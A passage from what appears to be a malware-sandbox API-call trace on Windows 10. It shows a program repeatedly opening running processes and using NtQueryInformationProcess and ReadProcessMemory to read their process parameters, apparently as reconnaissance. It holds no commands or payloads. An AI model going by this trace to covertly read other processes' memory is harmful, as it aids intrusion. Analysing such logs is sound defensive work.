lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0242.649] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0242.727] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0x464 [0242.727] GetLastError () returned 0x0 [0242.728] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0242.728] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0242.728] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0242.728] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303490, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0242.729] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b3030e8, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0242.730] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0242.732] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0242.732] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0242.732] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b302ad0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0242.732] malloc (_Size=0x6a) returned 0x196ef0d2120 [0242.732] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303128, lpBuffer=0x196ef0d2120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0242.733] free (_Block=0x196ef0d2120) [0242.734] CloseHandle (hObject=0x464) returned 1 [0242.734] _ui64tow_s (in: _Value=0xae4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="2788") returned 0x0 [0242.739] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="2788") returned 4 [0242.740] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0242.740] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0242.805] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xae4) returned 0x464 [0242.805] GetLastError () returned 0x0 [0242.806] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0242.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0242.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0242.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61bd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0242.807] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61818, lpBuffer=0x67117c450, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0242.810] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0242.813] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0242.813] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0242.813] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61200, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0242.814] malloc (_Size=0x64) returned 0x196ef0d0610 [0242.814] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61864, lpBuffer=0x196ef0d0610, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0242.814] free (_Block=0x196ef0d0610) [0242.815] CloseHandle (hObject=0x464) returned 1 [0242.816] _ui64tow_s (in: _Value=0xb40, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="2880") returned 0x0 [0242.820] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="2880") returned 4 [0242.821] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0242.821] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0242.907] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb40) returned 0x464 [0242.908] GetLastError () returned 0x0 [0242.908] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0242.908] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0242.908] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0242.908] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721c80, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0242.909] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7218c8, lpBuffer=0x67117c450, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0242.910] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0242.911] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0242.912] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0242.912] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7212b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0242.912] malloc (_Size=0x72) returned 0x196ef0d2120 [0242.912] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721922, lpBuffer=0x196ef0d2120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0242.913] free (_Block=0x196ef0d2120) [0242.913] CloseHandle (hObject=0x464) returned 1 [0243.040] _ui64tow_s (in: _Value=0x4a8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="1192") returned 0x0 [0243.045] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="1192") returned 4 [0243.046] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7b95ec4f, dwBuildNumber=0x7ffa, dwPlatformId=0x7117ca00, szCSDVersion="\x06") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.047] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0243.065] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a8) returned 0x464 [0243.065] GetLastError () returned 0x0 [0243.065] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0243.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0243.066] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.067] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103510, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0243.067] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b810312a, lpBuffer=0x67117c450, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0243.069] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0243.126] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0243.126] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0243.277] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8102ad0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0243.400] malloc (_Size=0xd6) returned 0x196ef0d4e70 [0243.400] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103192, lpBuffer=0x196ef0d4e70, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0243.527] free (_Block=0x196ef0d4e70) [0243.528] CloseHandle (hObject=0x464) returned 1 [0243.529] _ui64tow_s (in: _Value=0x2d8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="728") returned 0x0 [0243.535] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="728") returned 3 [0243.536] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.536] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0243.555] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0243.555] CloseHandle (hObject=0x0) returned 0 [0243.556] _ui64tow_s (in: _Value=0x614, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="1556") returned 0x0 [0243.560] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="1556") returned 4 [0243.630] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.630] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0243.648] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x614) returned 0x464 [0243.648] GetLastError () returned 0x0 [0243.649] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0243.649] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0243.649] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.649] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11d30, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0243.649] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11948, lpBuffer=0x67117c450, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0243.650] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0243.652] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0243.652] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0243.652] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11330, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0243.652] malloc (_Size=0x7e) returned 0x196ef0d7110 [0243.652] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c119a8, lpBuffer=0x196ef0d7110, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7110*, lpNumberOfBytesRead=0x0) returned 1 [0243.653] free (_Block=0x196ef0d7110) [0243.654] CloseHandle (hObject=0x464) returned 1 [0243.654] _ui64tow_s (in: _Value=0xd80, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3456") returned 0x0 [0243.659] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3456") returned 4 [0243.660] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.660] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0243.829] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd80) returned 0x464 [0243.830] GetLastError () returned 0x0 [0243.830] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0243.830] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0243.830] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.831] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d40, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0243.831] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x67117c450, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0243.832] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0243.833] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0243.834] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0243.834] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0243.834] malloc (_Size=0x8c) returned 0x196ef0d53c0 [0243.834] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46197c, lpBuffer=0x196ef0d53c0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d53c0*, lpNumberOfBytesRead=0x0) returned 1 [0243.835] free (_Block=0x196ef0d53c0) [0243.836] CloseHandle (hObject=0x464) returned 1 [0243.836] _ui64tow_s (in: _Value=0xd88, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3464") returned 0x0 [0243.843] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3464") returned 4 [0243.845] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.845] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0243.936] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd88) returned 0x464 [0243.936] GetLastError () returned 0x0 [0243.937] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0243.937] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0243.937] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.937] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0243.938] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x67117c450, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0243.939] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0243.941] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0243.941] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0243.941] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0243.942] malloc (_Size=0x68) returned 0x196ef0d06f0 [0243.942] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1958, lpBuffer=0x196ef0d06f0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0243.943] free (_Block=0x196ef0d06f0) [0243.944] CloseHandle (hObject=0x464) returned 1 [0243.944] _ui64tow_s (in: _Value=0xd98, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3480") returned 0x0 [0243.951] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3480") returned 4 [0243.953] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.953] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0244.069] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd98) returned 0x464 [0244.070] GetLastError () returned 0x0 [0244.070] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0244.070] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0244.070] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.071] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1d30, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0244.071] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc18f8, lpBuffer=0x67117c450, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0244.072] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0244.074] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0244.074] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0244.074] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: 